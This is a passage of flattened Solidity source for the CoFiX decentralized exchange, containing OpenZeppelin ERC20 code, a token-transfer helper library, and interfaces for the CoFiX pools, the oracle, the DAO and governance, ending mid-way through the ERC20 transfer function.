// Sources flattened with hardhat v2.3.0 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.1.0 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/libs/TransferHelper.sol // GPL-3.0-or-later pragma solidity ^0.8.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/interfaces/ICoFiXPool.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines methods and events for CoFiXPool interface ICoFiXPool { /* ****************************************************************************************** * Note: In order to unify the authorization entry, all transferFrom operations are carried * out in the CoFiXRouter, and the CoFiXPool needs to be fixed, CoFiXRouter does trust and * needs to be taken into account when calculating the pool balance before and after rollover * ******************************************************************************************/ /// @dev Add liquidity and mining xtoken event /// @param token Target token address /// @param to The address to receive xtoken /// @param amountETH The amount of ETH added to pool. (When pool is AnchorPool, amountETH is 0) /// @param amountToken The amount of Token added to pool /// @param liquidity The real liquidity or XToken minted from pool event Mint(address token, address to, uint amountETH, uint amountToken, uint liquidity); /// @dev Remove liquidity and burn xtoken event /// @param token The address of ERC20 Token /// @param to The target address receiving the Token /// @param liquidity The amount of liquidity (XToken) sent to pool, or the liquidity to remove /// @param amountETHOut The real amount of ETH transferred from the pool /// @param amountTokenOut The real amount of Token transferred from the pool event Burn(address token, address to, uint liquidity, uint amountETHOut, uint amountTokenOut); /// @dev Set configuration /// @param theta Trade fee rate, ten thousand points system. 20 /// @param impactCostVOL Impact cost threshold /// @param nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based function setConfig(uint16 theta, uint96 impactCostVOL, uint96 nt) external; /// @dev Get configuration /// @return theta Trade fee rate, ten thousand points system. 20 /// @return impactCostVOL Impact cost threshold /// @return nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based function getConfig() external view returns (uint16 theta, uint96 impactCostVOL, uint96 nt); /// @dev Add liquidity and mint xtoken /// @param token Target token address /// @param to The address to receive xtoken /// @param amountETH The amount of ETH added to pool. (When pool is AnchorPool, amountETH is 0) /// @param amountToken The amount of Token added to pool /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return xtoken The liquidity share token address obtained /// @return liquidity The real liquidity or XToken minted from pool function mint( address token, address to, uint amountETH, uint amountToken, address payback ) external payable returns ( address xtoken, uint liquidity ); /// @dev Maker remove liquidity from pool to get ERC20 Token and ETH back (maker burn XToken) /// @param token The address of ERC20 Token /// @param to The target address receiving the Token /// @param liquidity The amount of liquidity (XToken) sent to pool, or the liquidity to remove /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return amountETHOut The real amount of ETH transferred from the pool /// @return amountTokenOut The real amount of Token transferred from the pool function burn( address token, address to, uint liquidity, address payback ) external payable returns ( uint amountETHOut, uint amountTokenOut ); /// @dev Swap token /// @param src Src token address /// @param dest Dest token address /// @param amountIn The exact amount of Token a trader want to swap into pool /// @param to The target address receiving the ETH /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return amountOut The real amount of ETH transferred out of pool /// @return mined The amount of CoFi which will be mind by this trade function swap( address src, address dest, uint amountIn, address to, address payback ) external payable returns ( uint amountOut, uint mined ); /// @dev Gets the token address of the share obtained by the specified token market making /// @param token Target token address /// @return If the fund pool supports the specified token, return the token address of the market share function getXToken(address token) external view returns (address); } // File contracts/interfaces/ICoFiXPair.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev Binary pool: eth/token interface ICoFiXPair is ICoFiXPool { /// @dev Swap for token event /// @param amountIn The exact amount of Token a trader want to swap into pool /// @param to The target address receiving the ETH /// @param amountTokenOut The real amount of token transferred out of pool /// @param mined The amount of CoFi which will be mind by this trade event SwapForToken(uint amountIn, address to, uint amountTokenOut, uint mined); /// @dev Swap for eth event /// @param amountIn The exact amount of Token a trader want to swap into pool /// @param to The target address receiving the ETH /// @param amountETHOut The real amount of eth transferred out of pool /// @param mined The amount of CoFi which will be mind by this trade event SwapForETH(uint amountIn, address to, uint amountETHOut, uint mined); /// @dev Get initial asset ratio /// @return initToken0Amount Initial asset ratio - eth /// @return initToken1Amount Initial asset ratio - token function getInitialAssetRatio() external view returns (uint initToken0Amount, uint initToken1Amount); /// @dev Estimate mining amount /// @param newBalance0 New balance of eth /// @param newBalance1 New balance of token /// @param ethAmount Oracle price - eth amount /// @param tokenAmount Oracle price - token amount /// @return mined The amount of CoFi which will be mind by this trade function estimate( uint newBalance0, uint newBalance1, uint ethAmount, uint tokenAmount ) external view returns (uint mined); /// @dev Settle trade fee to DAO function settle() external; /// @dev Get eth balance of this pool /// @return eth balance of this pool function ethBalance() external view returns (uint); /// @dev Get total trade fee which not settled function totalFee() external view returns (uint); /// @dev Get net worth /// @param ethAmount Oracle price - eth amount /// @param tokenAmount Oracle price - token amount /// @return navps Net worth function getNAVPerShare( uint ethAmount, uint tokenAmount ) external view returns (uint navps); /// @dev Calculate the impact cost of buy in eth /// @param vol Trade amount in eth /// @return impactCost Impact cost function impactCostForBuyInETH(uint vol) external view returns (uint impactCost); /// @dev Calculate the impact cost of sell out eth /// @param vol Trade amount in eth /// @return impactCost Impact cost function impactCostForSellOutETH(uint vol) external view returns (uint impactCost); } // File contracts/interfaces/INestPriceFacade.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the methods for price call entry interface INestPriceFacade { // /// @dev Set the address flag. Only the address flag equals to config.normalFlag can the price be called // /// @param addr Destination address // /// @param flag Address flag // function setAddressFlag(address addr, uint flag) external; // /// @dev Get the flag. Only the address flag equals to config.normalFlag can the price be called // /// @param addr Destination address // /// @return Address flag // function getAddressFlag(address addr) external view returns(uint); // /// @dev Set INestQuery implementation contract address for token // /// @param tokenAddress Destination token address // /// @param nestQueryAddress INestQuery implementation contract address, 0 means delete // function setNestQuery(address tokenAddress, address nestQueryAddress) external; // /// @dev Get INestQuery implementation contract address for token // /// @param tokenAddress Destination token address // /// @return INestQuery implementation contract address, 0 means use default // function getNestQuery(address tokenAddress) external view returns (address); // /// @dev Get the latest trigger price // /// @param tokenAddress Destination token address // /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // function triggeredPrice(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price); // /// @dev Get the full information of latest trigger price // /// @param tokenAddress Destination token address // /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // /// @return avgPrice Average price // /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that // /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, // /// it means that the volatility has exceeded the range that can be expressed // function triggeredPriceInfo(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ); // /// @dev Find the price at block number // /// @param tokenAddress Destination token address // /// @param height Destination block number // /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // function findPrice(address tokenAddress, uint height, address payback) external payable returns (uint blockNumber, uint price); /// @dev Get the latest effective price /// @param tokenAddress Destination token address /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function latestPrice(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price); // /// @dev Get the last (num) effective price // /// @param tokenAddress Destination token address // /// @param count The number of prices that want to return // /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address // /// @return An array which length is num * 2, each two element expresses one price like blockNumber|price // function lastPriceList(address tokenAddress, uint count, address payback) external payable returns (uint[] memory); /// @dev Returns the results of latestPrice() and triggeredPriceInfo() /// @param tokenAddress Destination token address /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address /// @return latestPriceBlockNumber The block number of latest price /// @return latestPriceValue The token latest price. (1eth equivalent to (price) token) /// @return triggeredPriceBlockNumber The block number of triggered price /// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token) /// @return triggeredAvgPrice Average price /// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed function latestPriceAndTriggeredPriceInfo(address tokenAddress, address payback) external payable returns ( uint latestPriceBlockNumber, uint latestPriceValue, uint triggeredPriceBlockNumber, uint triggeredPriceValue, uint triggeredAvgPrice, uint triggeredSigmaSQ ); /// @dev Returns lastPriceList and triggered price info /// @param tokenAddress Destination token address /// @param count The number of prices that want to return /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address /// @return prices An array which length is num * 2, each two element expresses one price like blockNumber|price /// @return triggeredPriceBlockNumber The block number of triggered price /// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token) /// @return triggeredAvgPrice Average price /// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed function lastPriceListAndTriggeredPriceInfo( address tokenAddress, uint count, address payback ) external payable returns ( uint[] memory prices, uint triggeredPriceBlockNumber, uint triggeredPriceValue, uint triggeredAvgPrice, uint triggeredSigmaSQ ); // /// @dev Get the latest trigger price. (token and ntoken) // /// @param tokenAddress Destination token address // /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // /// @return ntokenBlockNumber The block number of ntoken price // /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken) // function triggeredPrice2(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint ntokenBlockNumber, uint ntokenPrice); // /// @dev Get the full information of latest trigger price. (token and ntoken) // /// @param tokenAddress Destination token address // /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // /// @return avgPrice Average price // /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that // /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, // /// it means that the volatility has exceeded the range that can be expressed // /// @return ntokenBlockNumber The block number of ntoken price // /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken) // /// @return ntokenAvgPrice Average price of ntoken // /// @return ntokenSigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that // /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, // /// it means that the volatility has exceeded the range that can be expressed // function triggeredPriceInfo2(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ, uint ntokenBlockNumber, uint ntokenPrice, uint ntokenAvgPrice, uint ntokenSigmaSQ); // /// @dev Get the latest effective price. (token and ntoken) // /// @param tokenAddress Destination token address // /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address // /// @return blockNumber The block number of price // /// @return price The token price. (1eth equivalent to (price) token) // /// @return ntokenBlockNumber The block number of ntoken price // /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken) // function latestPrice2(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint ntokenBlockNumber, uint ntokenPrice); } // File contracts/interfaces/ICoFiXController.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the methods for price call entry interface ICoFiXController { // Calc variance of price and K in CoFiX is very expensive // We use expected value of K based on statistical calculations here to save gas // In the near future, NEST could provide the variance of price directly. We will adopt it then. // We can make use of `data` bytes in the future /// @dev Query price /// @param tokenAddress Target address of token /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return ethAmount Oracle price - eth amount /// @return tokenAmount Oracle price - token amount /// @return blockNumber Block number of price function queryPrice( address tokenAddress, address payback ) external payable returns ( uint ethAmount, uint tokenAmount, uint blockNumber ); /// @dev Calc variance of price and K in CoFiX is very expensive /// We use expected value of K based on statistical calculations here to save gas /// In the near future, NEST could provide the variance of price directly. We will adopt it then. /// We can make use of `data` bytes in the future /// @param tokenAddress Target address of token /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return k The K value(18 decimal places). /// @return ethAmount Oracle price - eth amount /// @return tokenAmount Oracle price - token amount /// @return blockNumber Block number of price function queryOracle( address tokenAddress, address payback ) external payable returns ( uint k, uint ethAmount, uint tokenAmount, uint blockNumber ); /// @dev K value is calculated by revised volatility /// @param sigmaSQ The square of the volatility (18 decimal places). /// @param p0 Last price (number of tokens equivalent to 1 ETH) /// @param bn0 Block number of the last price /// @param p Latest price (number of tokens equivalent to 1 ETH) /// @param bn The block number when (ETH, TOKEN) price takes into effective function calcRevisedK(uint sigmaSQ, uint p0, uint bn0, uint p, uint bn) external view returns (uint k); /// @dev Query latest price info /// @param tokenAddress Target address of token /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return blockNumber Block number of price /// @return priceEthAmount Oracle price - eth amount /// @return priceTokenAmount Oracle price - token amount /// @return avgPriceEthAmount Avg price - eth amount /// @return avgPriceTokenAmount Avg price - token amount /// @return sigmaSQ The square of the volatility (18 decimal places) function latestPriceInfo(address tokenAddress, address payback) external payable returns ( uint blockNumber, uint priceEthAmount, uint priceTokenAmount, uint avgPriceEthAmount, uint avgPriceTokenAmount, uint sigmaSQ ); } // File contracts/interfaces/ICoFiXDAO.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the DAO methods interface ICoFiXDAO { /// @dev Application Flag Changed event /// @param addr DAO application contract address /// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization event ApplicationChanged(address addr, uint flag); /// @dev Configuration structure of CoFiXDAO contract struct Config { // Redeem status, 1 means normal uint8 status; // The number of CoFi redeem per block. 100 uint16 cofiPerBlock; // The maximum number of CoFi in a single redeem. 30000 uint32 cofiLimit; // Price deviation limit, beyond this upper limit stop redeem (10000 based). 1000 uint16 priceDeviationLimit; } /// @dev Modify configuration /// @param config Configuration object function setConfig(Config calldata config) external; /// @dev Get configuration /// @return Configuration object function getConfig() external view returns (Config memory); /// @dev Set DAO application /// @param addr DAO application contract address /// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization function setApplication(address addr, uint flag) external; /// @dev Check DAO application flag /// @param addr DAO application contract address /// @return Authorization flag, 1 means authorization, 0 means cancel authorization function checkApplication(address addr) external view returns (uint); /// @dev Set the exchange relationship between the token and the price of the anchored target currency. /// For example, set USDC to anchor usdt, because USDC is 18 decimal places and usdt is 6 decimal places. /// so exchange = 1e6 * 1 ether / 1e18 = 1e6 /// @param token Address of origin token /// @param target Address of target anchor token /// @param exchange Exchange rate of token and target function setTokenExchange(address token, address target, uint exchange) external; /// @dev Get the exchange relationship between the token and the price of the anchored target currency. /// For example, set USDC to anchor usdt, because USDC is 18 decimal places and usdt is 6 decimal places. /// so exchange = 1e6 * 1 ether / 1e18 = 1e6 /// @param token Address of origin token /// @return target Address of target anchor token /// @return exchange Exchange rate of token and target function getTokenExchange(address token) external view returns (address target, uint exchange); /// @dev Add reward /// @param pool Destination pool function addETHReward(address pool) external payable; /// @dev The function returns eth rewards of specified pool /// @param pool Destination pool function totalETHRewards(address pool) external view returns (uint); /// @dev Settlement /// @param pool Destination pool. Indicates which pool to pay with /// @param tokenAddress Token address of receiving funds (0 means ETH) /// @param to Address to receive /// @param value Amount to receive function settle(address pool, address tokenAddress, address to, uint value) external payable; /// @dev Redeem CoFi for ethers /// @notice Eth fee will be charged /// @param amount The amount of CoFi /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address function redeem(uint amount, address payback) external payable; /// @dev Redeem CoFi for Token /// @notice Eth fee will be charged /// @param token The target token /// @param amount The amount of CoFi /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address function redeemToken(address token, uint amount, address payback) external payable; /// @dev Get the current amount available for repurchase function quotaOf() external view returns (uint); } // File contracts/interfaces/ICoFiXMapping.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev The interface defines methods for CoFiX builtin contract address mapping interface ICoFiXMapping { /// @dev Set the built-in contract address of the system /// @param cofiToken Address of CoFi token contract /// @param cofiNode Address of CoFi Node contract /// @param cofixDAO ICoFiXDAO implementation contract address /// @param cofixRouter ICoFiXRouter implementation contract address for CoFiX /// @param cofixController ICoFiXController implementation contract address /// @param cofixVaultForStaking ICoFiXVaultForStaking implementation contract address function setBuiltinAddress( address cofiToken, address cofiNode, address cofixDAO, address cofixRouter, address cofixController, address cofixVaultForStaking ) external; /// @dev Get the built-in contract address of the system /// @return cofiToken Address of CoFi token contract /// @return cofiNode Address of CoFi Node contract /// @return cofixDAO ICoFiXDAO implementation contract address /// @return cofixRouter ICoFiXRouter implementation contract address for CoFiX /// @return cofixController ICoFiXController implementation contract address function getBuiltinAddress() external view returns ( address cofiToken, address cofiNode, address cofixDAO, address cofixRouter, address cofixController, address cofixVaultForStaking ); /// @dev Get address of CoFi token contract /// @return Address of CoFi Node token contract function getCoFiTokenAddress() external view returns (address); /// @dev Get address of CoFi Node contract /// @return Address of CoFi Node contract function getCoFiNodeAddress() external view returns (address); /// @dev Get ICoFiXDAO implementation contract address /// @return ICoFiXDAO implementation contract address function getCoFiXDAOAddress() external view returns (address); /// @dev Get ICoFiXRouter implementation contract address for CoFiX /// @return ICoFiXRouter implementation contract address for CoFiX function getCoFiXRouterAddress() external view returns (address); /// @dev Get ICoFiXController implementation contract address /// @return ICoFiXController implementation contract address function getCoFiXControllerAddress() external view returns (address); /// @dev Get ICoFiXVaultForStaking implementation contract address /// @return ICoFiXVaultForStaking implementation contract address function getCoFiXVaultForStakingAddress() external view returns (address); /// @dev Registered address. The address registered here is the address accepted by CoFiX system /// @param key The key /// @param addr Destination address. 0 means to delete the registration information function registerAddress(string calldata key, address addr) external; /// @dev Get registered address /// @param key The key /// @return Destination address. 0 means empty function checkAddress(string calldata key) external view returns (address); } // File contracts/interfaces/ICoFiXGovernance.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the governance methods interface ICoFiXGovernance is ICoFiXMapping { /// @dev Set governance authority /// @param addr Destination address /// @param flag Weight. 0 means to delete the governance permission of the target address. Weight is not /// implemented in the current system, only the difference between authorized and unauthorized. /// Here, a uint96 is used to represent the weight, which is only reserved for expansion function setGovernance(address addr, uint flag) external; /// @dev Get governance rights /// @param addr Destination address /// @return Weight. 0 means to delete the governance permission of the target address. Weight is not /// implemented in the current system, only the difference between authorized and unauthorized. /// Here, a uint96 is used to represent the weight, which is only reserved for expansion function getGovernance(address addr) external view returns (uint); /// @dev Check whether the target address has governance rights for the given target /// @param addr Destination address /// @param flag Permission weight. The permission of the target address must be greater than this weight /// to pass the check /// @return True indicates permission function checkGovernance(address addr, uint flag) external view returns (bool); } // File contracts/CoFiXBase.sol // GPL-3.0-or-later pragma solidity ^0.8.6; // Router contract to interact with each CoFiXPair, no owner or governance /// @dev Base contract of CoFiX contract CoFiXBase { // Address of CoFiToken contract address constant COFI_TOKEN_ADDRESS = 0x1a23a6BfBAdB59fa563008c0fB7cf96dfCF34Ea1; // Address of CoFiNode contract address constant CNODE_TOKEN_ADDRESS = 0x558201DC4741efc11031Cdc3BC1bC728C23bF512; // Genesis block number of CoFi // CoFiToken contract is created at block height 11040156. However, because the mining algorithm of CoFiX1.0 // is different from that at present, a new mining algorithm is adopted from CoFiX2.1. The new algorithm // includes the attenuation logic according to the block. Therefore, it is necessary to trace the block // where the CoFi begins to decay. According to the circulation when CoFi2.0 is online, the new mining // algorithm is used to deduce and convert the CoFi, and the new algorithm is used to mine the CoFiX2.1 // on-line flow, the actual block is 11040688 uint constant COFI_GENESIS_BLOCK = 11040688; /// @dev ICoFiXGovernance implementation contract address address public _governance; /// @dev To support open-zeppelin/upgrades /// @param governance ICoFiXGovernance implementation contract address function initialize(address governance) virtual public { require(_governance == address(0), "CoFiX:!initialize"); _governance = governance; } /// @dev Rewritten in the implementation contract, for load other contract addresses. Call /// super.update(newGovernance) when overriding, and override method without onlyGovernance /// @param newGovernance ICoFiXGovernance implementation contract address function update(address newGovernance) public virtual { address governance = _governance; require(governance == msg.sender || ICoFiXGovernance(governance).checkGovernance(msg.sender, 0), "CoFiX:!gov"); _governance = newGovernance; } /// @dev Migrate funds from current contract to CoFiXDAO /// @param tokenAddress Destination token address.(0 means eth) /// @param value Migrate amount function migrate(address tokenAddress, uint value) external onlyGovernance { address to = ICoFiXGovernance(_governance).getCoFiXDAOAddress(); if (tokenAddress == address(0)) { ICoFiXDAO(to).addETHReward { value: value } (address(0)); } else { TransferHelper.safeTransfer(tokenAddress, to, value); } } //---------modifier------------ modifier onlyGovernance() { require(ICoFiXGovernance(_governance).checkGovernance(msg.sender, 0), "CoFiX:!gov"); _; } modifier noContract() { require(msg.sender == tx.origin, "CoFiX:!contract"); _; } } // File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.1.0 // MIT pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/utils/Context.sol@v4.1.0 // MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.1.0 // MIT pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = 